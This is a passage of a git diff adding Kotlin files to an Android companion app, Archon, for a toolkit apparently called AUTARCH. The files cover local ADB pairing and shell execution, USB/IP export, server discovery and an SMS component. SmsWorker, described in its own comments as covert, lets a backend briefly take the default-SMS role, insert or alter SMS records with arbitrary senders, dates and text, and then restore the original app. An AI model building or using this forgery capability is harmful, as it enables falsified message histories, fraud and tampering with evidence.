return + try { + bluetoothAdapter?.cancelDiscovery() + context.unregisterReceiver(btReceiver) + } catch (e: Exception) { + Log.w(TAG, "Bluetooth stop error: ${e.message}") + } + bluetoothRunning = false + } + + // ── Helpers ───────────────────────────────────────────────────── + + private fun notifyError(method: ConnectionMethod, error: String) { + Log.e(TAG, "${method.name}: $error") + handler.post { listener?.onDiscoveryError(method, error) } + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/LocalAdbClient.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/LocalAdbClient.kt new file mode 100644 index 0000000..2f7627b --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/LocalAdbClient.kt @@ -0,0 +1,391 @@ +package com.darkhal.archon.service + +import android.content.Context +import android.util.Base64 +import android.util.Log +import com.darkhal.archon.util.ShellResult +import io.github.muntashirakon.adb.AbsAdbConnectionManager +import io.github.muntashirakon.adb.android.AdbMdns +import org.conscrypt.Conscrypt +import java.io.ByteArrayInputStream +import java.io.ByteArrayOutputStream +import java.math.BigInteger +import java.security.KeyFactory +import java.security.KeyPairGenerator +import java.security.PrivateKey +import java.security.SecureRandom +import java.security.Security +import java.security.Signature +import java.security.cert.Certificate +import java.security.cert.CertificateFactory +import java.security.spec.PKCS8EncodedKeySpec +import java.util.Calendar +import java.util.TimeZone +import java.util.concurrent.CountDownLatch +import java.util.concurrent.TimeUnit +import java.util.concurrent.atomic.AtomicBoolean +import java.util.concurrent.atomic.AtomicInteger +import android.os.Build + +/** + * Self-contained local ADB client using libadb-android. + * Handles wireless debugging pairing, mDNS discovery, and shell command execution. + * No external ADB binary needed — pure Java/TLS implementation. + */ +object LocalAdbClient { + + private const val TAG = "LocalAdbClient" + private const val PREFS_NAME = "archon_adb_keys" + private const val KEY_PRIVATE = "adb_private_key" + private const val KEY_CERTIFICATE = "adb_certificate" + private const val LOCALHOST = "127.0.0.1" + + private var connectionManager: AbsAdbConnectionManager? = null + private var connected = AtomicBoolean(false) + private var connectedPort = AtomicInteger(0) + + init { + // Install Conscrypt as the default TLS provider for TLSv1.3 support + Security.insertProviderAt(Conscrypt.newProvider(), 1) + } + + /** + * Check if we have a stored ADB key pair (device has been paired before). + */ + fun hasKeyPair(context: Context): Boolean { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + return prefs.contains(KEY_PRIVATE) && prefs.contains(KEY_CERTIFICATE) + } + + /** + * Generate a new RSA-2048 key pair for ADB authentication. + * Stored in SharedPreferences. + */ + fun generateKeyPair(context: Context) { + val kpg = KeyPairGenerator.getInstance("RSA") + kpg.initialize(2048) + val keyPair = kpg.generateKeyPair() + + // Generate self-signed certificate using Android's built-in X509 support + val certificate = generateSelfSignedCert(keyPair) + + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + prefs.edit() + .putString(KEY_PRIVATE, Base64.encodeToString(keyPair.private.encoded, Base64.NO_WRAP)) + .putString(KEY_CERTIFICATE, Base64.encodeToString(certificate.encoded, Base64.NO_WRAP)) + .apply() + + Log.i(TAG, "Generated new ADB key pair") + } + + /** + * Generate a self-signed X.509 v3 certificate for ADB authentication. + * Built from raw DER/ASN.1 encoding — no sun.security or BouncyCastle needed. + */ + private fun generateSelfSignedCert(keyPair: java.security.KeyPair): Certificate { + val serial = BigInteger(64, SecureRandom()) + + val notBefore = Calendar.getInstance(TimeZone.getTimeZone("UTC")) + val notAfter = Calendar.getInstance(TimeZone.getTimeZone("UTC")) + notAfter.add(Calendar.YEAR, 25) + + // DN: CN=adb_archon + val dn = derSequence(derSet(derSequence( + derOid(byteArrayOf(0x55, 0x04, 0x03)), // OID 2.5.4.3 = CN + derUtf8String("adb_archon") + ))) + + // SHA256withRSA algorithm identifier + // OID 1.2.840.113549.1.1.11 + val sha256WithRsa = byteArrayOf( + 0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xCE.toByte(), + 0x3D, 0x04, 0x03, 0x02 // placeholder, replaced below + ) + // Correct OID bytes for 1.2.840.113549.1.1.11 + val sha256RsaOid = byteArrayOf( + 0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xF7.toByte(), + 0x0D, 0x01, 0x01, 0x0B + ) + val algId = derSequence(derOid(sha256RsaOid), derNull()) + + // SubjectPublicKeyInfo — re-use the encoded form from the key + val spki = keyPair.public.encoded // Already DER-encoded SubjectPublicKeyInfo + + // TBSCertificate + val tbs = derSequence( + derExplicit(0, derInteger(BigInteger.valueOf(2))), // v3 + derInteger(serial), + algId, + dn, // issuer + derSequence(derUtcTime(notBefore), derUtcTime(notAfter)), // validity + dn, // subject = issuer (self-signed) + spki // subjectPublicKeyInfo + ) + + // Sign the TBS + val sig = Signature.getInstance("SHA256withRSA") + sig.initSign(keyPair.private) + sig.update(tbs) + val signature = sig.sign() + + // Full certificate: SEQUENCE { tbs, algId, BIT STRING(signature) } + val certDer = derSequence(tbs, algId, derBitString(signature)) + + val cf = CertificateFactory.getInstance("X.509") + return cf.generateCertificate(ByteArrayInputStream(certDer)) + } + + // ── ASN.1 / DER helpers ────────────────────────────────────── + + private fun derTag(tag: Int, content: ByteArray): ByteArray { + val out = ByteArrayOutputStream() + out.write(tag) + derWriteLength(out, content.size) + out.write(content) + return out.toByteArray() + } + + private fun derWriteLength(out: ByteArrayOutputStream, length: Int) { + if (length < 0x80) { + out.write(length) + } else if (length < 0x100) { + out.write(0x81) + out.write(length) + } else if (length < 0x10000) { + out.write(0x82) + out.write(length shr 8) + out.write(length and 0xFF) + } else { + out.write(0x83) + out.write(length shr 16) + out.write((length shr 8) and 0xFF) + out.write(length and 0xFF) + } + } + + private fun derSequence(vararg items: ByteArray): ByteArray { + val content = ByteArrayOutputStream() + for (item in items) content.write(item) + return derTag(0x30, content.toByteArray()) + } + + private fun derSet(vararg items: ByteArray): ByteArray { + val content = ByteArrayOutputStream() + for (item in items) content.write(item) + return derTag(0x31, content.toByteArray()) + } + + private fun derInteger(value: BigInteger): ByteArray { + val bytes = value.toByteArray() + return derTag(0x02, bytes) + } + + private fun derOid(oidBytes: ByteArray): ByteArray { + return derTag(0x06, oidBytes) + } + + private fun derNull(): ByteArray = byteArrayOf(0x05, 0x00) + + private fun derUtf8String(s: String): ByteArray { + return derTag(0x0C, s.toByteArray(Charsets.UTF_8)) + } + + private fun derBitString(data: ByteArray): ByteArray { + val content = ByteArray(data.size + 1) + content[0] = 0 // no unused bits + System.arraycopy(data, 0, content, 1, data.size) + return derTag(0x03, content) + } + + private fun derUtcTime(cal: Calendar): ByteArray { + val s = String.format( + "%02d%02d%02d%02d%02d%02dZ", + cal.get(Calendar.YEAR) % 100, + cal.get(Calendar.MONTH) + 1, + cal.get(Calendar.DAY_OF_MONTH), + cal.get(Calendar.HOUR_OF_DAY), + cal.get(Calendar.MINUTE), + cal.get(Calendar.SECOND) + ) + return derTag(0x17, s.toByteArray(Charsets.US_ASCII)) + } + + private fun derExplicit(tag: Int, content: ByteArray): ByteArray { + return derTag(0xA0 or tag, content) + } + + /** + * Discover the wireless debugging pairing port via mDNS. + */ + fun discoverPairingPort(context: Context, timeoutSec: Long = 15): Int? { + val foundPort = AtomicInteger(-1) + val latch = CountDownLatch(1) + + val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_PAIRING) { hostAddress, port -> + Log.i(TAG, "Found pairing service at $hostAddress:$port") + foundPort.set(port) + latch.countDown() + } + mdns.start() + + latch.await(timeoutSec, TimeUnit.SECONDS) + mdns.stop() + + val port = foundPort.get() + return if (port > 0) port else null + } + + /** + * Pair with the device's wireless debugging service. + */ + fun pair(context: Context, host: String = LOCALHOST, port: Int, code: String): Boolean { + return try { + ensureKeyPair(context) + val manager = getOrCreateManager(context) + val success = manager.pair(host, port, code) + Log.i(TAG, "Pairing result: $success") + success + } catch (e: Exception) { + Log.e(TAG, "Pairing failed", e) + false + } + } + + /** + * Discover the wireless debugging connect port via mDNS. + */ + fun discoverConnectPort(context: Context, timeoutSec: Long = 10): Int? { + val foundPort = AtomicInteger(-1) + val latch = CountDownLatch(1) + + val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_CONNECT) { hostAddress, port -> + Log.i(TAG, "Found connect service at $hostAddress:$port") + foundPort.set(port) + latch.countDown() + } + mdns.start() + + latch.await(timeoutSec, TimeUnit.SECONDS) + mdns.stop() + + val port = foundPort.get() + return if (port > 0) port else null + } + + /** + * Connect to the device's wireless debugging ADB service. + */ + fun connect(context: Context, host: String = LOCALHOST, port: Int): Boolean { + return try { + val manager = getOrCreateManager(context) + val success = manager.connect(host, port) + connected.set(success) + if (success) connectedPort.set(port) + Log.i(TAG, "Connect result: $success (port=$port)") + success + } catch (e: Exception) { + Log.e(TAG, "Connect failed", e) + connected.set(false) + false + } + } + + /** + * Auto-connect: discover port via mDNS and connect. + */ + fun autoConnect(context: Context): Boolean { + val port = discoverConnectPort(context) ?: return false + return connect(context, LOCALHOST, port) + } + + /** + * Disconnect the current ADB session. + */ + fun disconnect() { + try { + connectionManager?.disconnect() + } catch (e: Exception) { + Log.w(TAG, "Disconnect error", e) + } + connected.set(false) + connectedPort.set(0) + } + + /** + * Check if currently connected to an ADB session. + */ + fun isConnected(): Boolean = connected.get() + + /** + * Execute a shell command via the local ADB connection. + */ + fun execute(command: String): ShellResult { + if (!connected.get()) { + return ShellResult("", "Not connected to local ADB", -1) + } + + return try { + val manager = connectionManager ?: return ShellResult("", "No connection manager", -1) + val stream = manager.openStream("shell:$command") + val inputStream = stream.openInputStream() + val stdout = inputStream.bufferedReader().readText().trim() + stream.close() + ShellResult(stdout, "", 0) + } catch (e: Exception) { + Log.e(TAG, "Shell execute failed", e) + connected.set(false) + ShellResult("", "ADB shell error: ${e.message}", -1) + } + } + + /** + * Check if we were previously paired (have keys stored). + */ + fun isPaired(context: Context): Boolean = hasKeyPair(context) + + /** + * Get a human-readable status string. + */ + fun getStatusString(context: Context): String { + return when { + connected.get() -> "Connected (port ${connectedPort.get()})" + hasKeyPair(context) -> "Paired, not connected" + else -> "Not paired" + } + } + + // ── Internal ────────────────────────────────────────────────── + + private fun ensureKeyPair(context: Context) { + if (!hasKeyPair(context)) { + generateKeyPair(context) + } + } + + private fun getOrCreateManager(context: Context): AbsAdbConnectionManager { + connectionManager?.let { return it } + + ensureKeyPair(context) + + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + val privateKeyBytes = Base64.decode(prefs.getString(KEY_PRIVATE, ""), Base64.NO_WRAP) + val certBytes = Base64.decode(prefs.getString(KEY_CERTIFICATE, ""), Base64.NO_WRAP) + + val keySpec = PKCS8EncodedKeySpec(privateKeyBytes) + val privateKey = KeyFactory.getInstance("RSA").generatePrivate(keySpec) + + val certFactory = CertificateFactory.getInstance("X.509") + val certificate = certFactory.generateCertificate(ByteArrayInputStream(certBytes)) + + val manager = object : AbsAdbConnectionManager() { + override fun getPrivateKey(): PrivateKey = privateKey + override fun getCertificate(): Certificate = certificate + override fun getDeviceName(): String = "archon_${Build.MODEL}" + } + manager.setApi(Build.VERSION.SDK_INT) + manager.setHostAddress(LOCALHOST) + + connectionManager = manager + return manager + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/PairingReceiver.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/PairingReceiver.kt new file mode 100644 index 0000000..36b7d53 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/PairingReceiver.kt @@ -0,0 +1,216 @@ +package com.darkhal.archon.service + +import android.app.NotificationChannel +import android.app.NotificationManager +import android.app.PendingIntent +import android.content.BroadcastReceiver +import android.content.Context +import android.content.Intent +import android.os.Build +import android.util.Log +import androidx.core.app.NotificationCompat +import androidx.core.app.RemoteInput +import com.darkhal.archon.R +import com.darkhal.archon.server.ArchonClient + +/** + * Handles the pairing code entered via notification inline reply. + * + * Flow (like Shizuku): + * 1. User taps "START PAIRING" in Setup + * 2. App shows notification with text input for pairing code + * 3. User opens Developer Options > Wireless Debugging > Pair with code + * 4. User pulls down notification shade and enters the 6-digit code + * 5. This receiver auto-detects port, pairs, connects, starts ArchonServer + */ +class PairingReceiver : BroadcastReceiver() { + + companion object { + private const val TAG = "PairingReceiver" + const val ACTION_PAIR = "com.darkhal.archon.ACTION_PAIR" + const val KEY_PAIRING_CODE = "pairing_code" + const val NOTIFICATION_ID = 42 + const val CHANNEL_ID = "archon_pairing" + + /** + * Show the pairing notification with inline text input. + */ + fun showPairingNotification(context: Context) { + createChannel(context) + + val replyIntent = Intent(ACTION_PAIR).apply { + setPackage(context.packageName) + } + val replyPending = PendingIntent.getBroadcast( + context, 0, replyIntent, + PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE + ) + + val remoteInput = RemoteInput.Builder(KEY_PAIRING_CODE) + .setLabel("6-digit pairing code") + .build() + + val action = NotificationCompat.Action.Builder( + R.drawable.ic_archon, + "Enter pairing code", + replyPending + ) + .addRemoteInput(remoteInput) + .build() + + val notification = NotificationCompat.Builder(context, CHANNEL_ID) + .setSmallIcon(R.drawable.ic_archon) + .setContentTitle("Archon — Wireless Debugging Pairing") + .setContentText("Open Settings > Developer Options > Wireless Debugging > Pair with code") + .setStyle(NotificationCompat.BigTextStyle() + .bigText("1. Open Settings > Developer Options\n" + + "2. Enable Wireless Debugging\n" + + "3. Tap 'Pair with pairing code'\n" + + "4. Enter the 6-digit code below")) + .addAction(action) + .setOngoing(true) + .setPriority(NotificationCompat.PRIORITY_HIGH) + .setAutoCancel(false) + .build() + + val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager + nm.notify(NOTIFICATION_ID, notification) + } + + /** + * Update the notification with a status message (no input). + */ + fun updateNotification(context: Context, message: String, ongoing: Boolean = false) { + createChannel(context) + + val notification = NotificationCompat.Builder(context, CHANNEL_ID) + .setSmallIcon(R.drawable.ic_archon) + .setContentTitle("Archon Pairing") + .setContentText(message) + .setOngoing(ongoing) + .setPriority(NotificationCompat.PRIORITY_HIGH) + .setAutoCancel(!ongoing) + .build() + + val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager + nm.notify(NOTIFICATION_ID, notification) + } + + /** + * Dismiss the pairing notification. + */ + fun dismissNotification(context: Context) { + val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager + nm.cancel(NOTIFICATION_ID) + } + + private fun createChannel(context: Context) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + val channel = NotificationChannel( + CHANNEL_ID, + "Wireless Debugging Pairing", + NotificationManager.IMPORTANCE_HIGH + ).apply { + description = "Used for entering the wireless debugging pairing code" + } + val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager + nm.createNotificationChannel(channel) + } + } + } + + override fun onReceive(context: Context, intent: Intent) { + if (intent.action != ACTION_PAIR) return + + val remoteInput = RemoteInput.getResultsFromIntent(intent) + val code = remoteInput?.getCharSequence(KEY_PAIRING_CODE)?.toString()?.trim() + + if (code.isNullOrEmpty()) { + updateNotification(context, "No code entered — try again") + showPairingNotification(context) + return + } + + Log.i(TAG, "Received pairing code: $code") + updateNotification(context, "Pairing with code $code...", ongoing = true) + + // Run pairing in background thread + Thread { + try { + // Auto-detect pairing port + Log.i(TAG, "Discovering pairing port...") + val port = LocalAdbClient.discoverPairingPort(context) + if (port == null) { + Log.w(TAG, "Could not find pairing port") + updateNotification(context, "Failed: no pairing port found. Is the Pair dialog still open?") + Thread.sleep(3000) + showPairingNotification(context) + return@Thread + } + + Log.i(TAG, "Found pairing port: $port, pairing...") + updateNotification(context, "Found port $port, pairing...", ongoing = true) + + val success = LocalAdbClient.pair(context, "127.0.0.1", port, code) + if (!success) { + Log.w(TAG, "Pairing failed") + updateNotification(context, "Pairing failed — wrong code or port changed. Try again.") + Thread.sleep(3000) + showPairingNotification(context) + return@Thread + } + + Log.i(TAG, "Paired! Waiting for connect service...") + updateNotification(context, "Paired! Waiting for ADB connect service...", ongoing = true) + + // Wait for wireless debugging to register the connect service after pairing + Thread.sleep(2000) + + // Try to discover and connect with retries + var connectSuccess = false + for (attempt in 1..3) { + Log.i(TAG, "Connect attempt $attempt/3...") + updateNotification(context, "Connecting (attempt $attempt/3)...", ongoing = true) + + val connectPort = LocalAdbClient.discoverConnectPort(context, timeoutSec = 8) + if (connectPort != null) { + Log.i(TAG, "Found connect port: $connectPort") + connectSuccess = LocalAdbClient.connect(context, "127.0.0.1", connectPort) + if (connectSuccess) { + Log.i(TAG, "Connected on port $connectPort") + break + } + Log.w(TAG, "Connect failed on port $connectPort") + } else { + Log.w(TAG, "mDNS connect discovery failed (attempt $attempt)") + } + + if (attempt < 3) Thread.sleep(2000) + } + + if (!connectSuccess) { + Log.w(TAG, "All connect attempts failed") + updateNotification(context, "Paired but connect failed. Open Setup tab and tap START SERVER.", ongoing = false) + return@Thread + } + + // Try to start ArchonServer + updateNotification(context, "Connected! Starting Archon Server...", ongoing = true) + val result = ArchonClient.startServer(context) + + val msg = if (result.success) { + "Paired + connected + Archon Server running!" + } else { + "Paired + connected! Server: ${result.message}" + } + + Log.i(TAG, msg) + updateNotification(context, msg, ongoing = false) + + } catch (e: Exception) { + Log.e(TAG, "Pairing error", e) + updateNotification(context, "Error: ${e.message}") + } + }.start() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/SmsWorker.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/SmsWorker.kt new file mode 100644 index 0000000..dfd93bd --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/SmsWorker.kt @@ -0,0 +1,130 @@ +package com.darkhal.archon.service + +import android.content.BroadcastReceiver +import android.content.ContentValues +import android.content.Context +import android.content.Intent +import android.net.Uri +import android.util.Log +import java.io.File + +/** + * Handles covert SMS insert/update from ADB shell broadcasts. + * + * Flow: + * 1. Python backend sets Archon as default SMS app via `cmd role` + * 2. Sends: am broadcast -a com.darkhal.archon.SMS_INSERT -n .../.service.SmsWorker --es address ... --es body ... + * 3. This receiver does ContentResolver.insert() at Archon's UID (which is now the default SMS app) + * 4. Writes result to files/sms_result.txt + * 5. Python reads result via `run-as com.darkhal.archon cat files/sms_result.txt` + * 6. Python restores original default SMS app + */ +class SmsWorker : BroadcastReceiver() { + + companion object { + private const val TAG = "SmsWorker" + const val ACTION_INSERT = "com.darkhal.archon.SMS_INSERT" + const val ACTION_UPDATE = "com.darkhal.archon.SMS_UPDATE" + const val RESULT_FILE = "sms_result.txt" + } + + override fun onReceive(context: Context, intent: Intent) { + val action = intent.action ?: return + val resultFile = File(context.filesDir, RESULT_FILE) + + try { + when (action) { + ACTION_INSERT -> handleInsert(context, intent, resultFile) + ACTION_UPDATE -> handleUpdate(context, intent, resultFile) + else -> resultFile.writeText("ERROR:Unknown action $action") + } + } catch (e: Exception) { + Log.e(TAG, "SMS operation failed", e) + resultFile.writeText("ERROR:${e.message}") + } + } + + private fun handleInsert(context: Context, intent: Intent, resultFile: File) { + val address = intent.getStringExtra("address") ?: run { + resultFile.writeText("ERROR:No address"); return + } + val body = intent.getStringExtra("body") ?: run { + resultFile.writeText("ERROR:No body"); return + } + + val values = ContentValues().apply { + put("address", address) + put("body", body) + put("date", intent.getLongExtra("date", System.currentTimeMillis())) + put("type", intent.getIntExtra("type", 1)) + put("read", intent.getIntExtra("read", 1)) + put("seen", 1) + } + + val uri = context.contentResolver.insert(Uri.parse("content://sms/"), values) + + if (uri != null) { + Log.i(TAG, "SMS inserted: $uri") + resultFile.writeText("SUCCESS:$uri") + } else { + Log.w(TAG, "SMS insert returned null") + resultFile.writeText("FAIL:provider returned null") + } + } + + private fun handleUpdate(context: Context, intent: Intent, resultFile: File) { + val smsId = intent.getStringExtra("id") ?: run { + resultFile.writeText("ERROR:No SMS id"); return + } + + val values = ContentValues() + intent.getStringExtra("body")?.let { values.put("body", it) } + intent.getStringExtra("address")?.let { values.put("address", it) } + if (intent.hasExtra("type")) values.put("type", intent.getIntExtra("type", 1)) + if (intent.hasExtra("read")) values.put("read", intent.getIntExtra("read", 1)) + if (intent.hasExtra("date")) values.put("date", intent.getLongExtra("date", 0)) + + if (values.size() == 0) { + resultFile.writeText("ERROR:Nothing to update"); return + } + + val count = context.contentResolver.update( + Uri.parse("content://sms/$smsId"), values, null, null + ) + + Log.i(TAG, "SMS update: $count rows affected for id=$smsId") + resultFile.writeText("SUCCESS:updated=$count") + } +} + +// ── SMS Role stubs ────────────────────────────────────────────── +// These are required for Android to accept Archon as a valid SMS role holder. +// They don't need to do anything — they just need to exist and be declared +// in the manifest with the correct intent filters and permissions. + +/** Stub: receives incoming SMS when we're temporarily the default SMS app. */ +class SmsDeliverReceiver : BroadcastReceiver() { + override fun onReceive(context: Context, intent: Intent) { + // Intentionally empty — we only hold the SMS role briefly for inserts + } +} + +/** Stub: receives incoming MMS when we're temporarily the default SMS app. */ +class MmsDeliverReceiver : BroadcastReceiver() { + override fun onReceive(context: Context, intent: Intent) { + // Intentionally empty + } +} + +/** Stub: "respond via message" service required for SMS role. */ +class RespondViaMessageService : android.app.Service() { + override fun onBind(intent: Intent?): android.os.IBinder? = null +} + +/** Stub: SMS compose activity required for SMS role. Immediately finishes. */ +class SmsComposeActivity : android.app.Activity() { + override fun onCreate(savedInstanceState: android.os.Bundle?) { + super.onCreate(savedInstanceState) + finish() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/UsbIpManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/UsbIpManager.kt new file mode 100644 index 0000000..33c84cf --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/UsbIpManager.kt @@ -0,0 +1,97 @@ +package com.darkhal.archon.service + +import com.darkhal.archon.util.PrivilegeManager +import com.darkhal.archon.util.ShellExecutor +import com.darkhal.archon.util.ShellResult + +data class UsbDevice( + val busId: String, + val description: String +) + +object UsbIpManager { + + private const val USBIPD_PROCESS = "usbipd" + + /** + * Start USB/IP daemon to export this device's USB gadget over the network. + */ + fun startExport(): ShellResult { + return PrivilegeManager.execute("usbipd -D") + } + + /** + * Stop the USB/IP daemon. + */ + fun stopExport(): ShellResult { + return PrivilegeManager.execute("killall $USBIPD_PROCESS") + } + + /** + * Check if usbipd is currently running. + */ + fun isExporting(): Boolean { + val result = ShellExecutor.execute("pidof $USBIPD_PROCESS") + return result.exitCode == 0 && result.stdout.isNotEmpty() + } + + /** + * Check if the usbip binary is available on this device. + */ + fun isAvailable(): Boolean { + val result = ShellExecutor.execute("which usbip || which usbipd") + return result.exitCode == 0 && result.stdout.isNotEmpty() + } + + /** + * List local USB devices that can be exported. + */ + fun listLocalDevices(): List { + val result = PrivilegeManager.execute("usbip list -l") + if (result.exitCode != 0) return emptyList() + + val devices = mutableListOf() + val lines = result.stdout.lines() + + for (line in lines) { + val match = Regex("""busid\s+(\S+)\s+\(([^)]+)\)""").find(line) + if (match != null) { + val busId = match.groupValues[1] + val desc = match.groupValues[2] + devices.add(UsbDevice(busId, desc)) + } + } + + return devices + } + + /** + * Bind a local USB device for export. + */ + fun bindDevice(busId: String): ShellResult { + return PrivilegeManager.execute("usbip bind -b $busId") + } + + /** + * Unbind a local USB device from export. + */ + fun unbindDevice(busId: String): ShellResult { + return PrivilegeManager.execute("usbip unbind -b $busId") + } + + /** + * Get combined USB/IP status. + */ + fun getStatus(): Map { + val available = isAvailable() + val exporting = if (available) isExporting() else false + val devices = if (available) listLocalDevices() else emptyList() + + return mapOf( + "available" to available, + "exporting" to exporting, + "device_count" to devices.size, + "devices" to devices.map { mapOf("bus_id" to it.busId, "description" to it.description) } + ) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/DashboardFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/DashboardFragment.kt new file mode 100644 index 0000000..b2f51b4 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/DashboardFragment.kt @@ -0,0 +1,278 @@ +package com.darkhal.archon.ui + +import android.graphics.Color +import android.graphics.drawable.GradientDrawable +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import androidx.fragment.app.Fragment +import com.darkhal.archon.R +import com.darkhal.archon.service.DiscoveryManager +import com.darkhal.archon.util.PrefsManager +import com.darkhal.archon.util.PrivilegeManager +import com.darkhal.archon.util.ShellExecutor +import com.darkhal.archon.util.SslHelper +import com.google.android.material.button.MaterialButton +import java.net.HttpURLConnection +import java.net.URL + +class DashboardFragment : Fragment() { + + private lateinit var privilegeStatusDot: View + private lateinit var privilegeStatusText: TextView + private lateinit var serverStatusDot: View + private lateinit var serverStatusText: TextView + private lateinit var wgStatusDot: View + private lateinit var wgStatusText: TextView + private lateinit var outputLog: TextView + + // Discovery + private lateinit var discoveryStatusDot: View + private lateinit var discoveryStatusText: TextView + private lateinit var discoveryMethodText: TextView + private lateinit var btnDiscover: MaterialButton + private var discoveryManager: DiscoveryManager? = null + + private val handler = Handler(Looper.getMainLooper()) + + override fun onCreateView( + inflater: LayoutInflater, + container: ViewGroup?, + savedInstanceState: Bundle? + ): View { + return inflater.inflate(R.layout.fragment_dashboard, container, false) + } + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + // Bind views + privilegeStatusDot = view.findViewById(R.id.privilege_status_dot) + privilegeStatusText = view.findViewById(R.id.privilege_status_text) + serverStatusDot = view.findViewById(R.id.server_status_dot) + serverStatusText = view.findViewById(R.id.server_status_text) + wgStatusDot = view.findViewById(R.id.wg_status_dot) + wgStatusText = view.findViewById(R.id.wg_status_text) + outputLog = view.findViewById(R.id.output_log) + + // Discovery views + discoveryStatusDot = view.findViewById(R.id.discovery_status_dot) + discoveryStatusText = view.findViewById(R.id.discovery_status_text) + discoveryMethodText = view.findViewById(R.id.discovery_method_text) + btnDiscover = view.findViewById(R.id.btn_discover) + + setupDiscovery() + + // Initialize PrivilegeManager and check available methods + val ctx = requireContext() + PrivilegeManager.init(ctx, PrefsManager.getServerIp(ctx), PrefsManager.getWebPort(ctx)) + + Thread { + val method = PrivilegeManager.getAvailableMethod() + handler.post { + val hasPrivilege = method != PrivilegeManager.Method.NONE + setStatusDot(privilegeStatusDot, hasPrivilege) + privilegeStatusText.text = "Privilege: ${method.label}" + appendLog("Privilege: ${method.label}") + refreshServerStatus() + } + }.start() + + // Auto-discover server on launch + startDiscovery() + } + + private fun refreshServerStatus() { + Thread { + val serverIp = PrefsManager.getServerIp(requireContext()) + val webPort = PrefsManager.getWebPort(requireContext()) + + // Check WireGuard tunnel + val wgResult = ShellExecutor.execute("ip addr show wg0 2>/dev/null") + val wgUp = wgResult.exitCode == 0 && wgResult.stdout.contains("inet ") + + // Check if AUTARCH server is reachable + val serverReachable = if (serverIp.isNotEmpty()) { + probeServer(serverIp, webPort) + } else { + false + } + + handler.post { + // WireGuard + setStatusDot(wgStatusDot, wgUp) + wgStatusText.text = if (wgUp) "WireGuard: connected" else "WireGuard: not active" + + // Server + if (serverIp.isEmpty()) { + setStatusDot(serverStatusDot, false) + serverStatusText.text = "Server: not configured — tap SCAN or set in Settings" + } else if (serverReachable) { + setStatusDot(serverStatusDot, true) + serverStatusText.text = "Server: $serverIp:$webPort (connected)" + } else { + setStatusDot(serverStatusDot, false) + serverStatusText.text = "Server: $serverIp:$webPort (unreachable)" + } + } + }.start() + } + + private fun probeServer(ip: String, port: Int): Boolean { + return try { + val url = URL("https://$ip:$port/") + val conn = url.openConnection() as HttpURLConnection + SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 3000 + conn.readTimeout = 3000 + conn.requestMethod = "GET" + conn.instanceFollowRedirects = true + val code = conn.responseCode + conn.disconnect() + code in 200..399 + } catch (e: Exception) { + false + } + } + + private fun setStatusDot(dot: View, online: Boolean) { + val drawable = GradientDrawable() + drawable.shape = GradientDrawable.OVAL + drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666")) + dot.background = drawable + } + + private fun appendLog(msg: String) { + val current = outputLog.text.toString() + val lines = current.split("\n").takeLast(20) + outputLog.text = (lines + "> $msg").joinToString("\n") + } + + // ── Discovery ──────────────────────────────────────────────── + + private fun setupDiscovery() { + discoveryManager = DiscoveryManager(requireContext()) + discoveryManager?.listener = object : DiscoveryManager.Listener { + override fun onServerFound(server: DiscoveryManager.DiscoveredServer) { + val method = when (server.method) { + DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)" + DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct" + DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth" + } + setStatusDot(discoveryStatusDot, true) + discoveryStatusText.text = "Found: ${server.hostname}" + discoveryMethodText.text = "via $method" + appendLog("Discovered AUTARCH via $method") + + if (server.ip.isNotEmpty() && server.port > 0) { + PrefsManager.setServerIp(requireContext(), server.ip) + PrefsManager.setWebPort(requireContext(), server.port) + appendLog("Auto-configured: ${server.ip}:${server.port}") + // Update PrivilegeManager with new server info + PrivilegeManager.setServerConnection(server.ip, server.port) + refreshServerStatus() + } + } + + override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) { + appendLog("Scanning: ${method.name}...") + } + + override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) { + if (discoveryManager?.getDiscoveredServers()?.isEmpty() == true) { + appendLog("No mDNS/BT response — trying HTTP probe...") + probeLocalSubnet() + } + btnDiscover.isEnabled = true + btnDiscover.text = "SCAN" + } + + override fun onDiscoveryError(method: 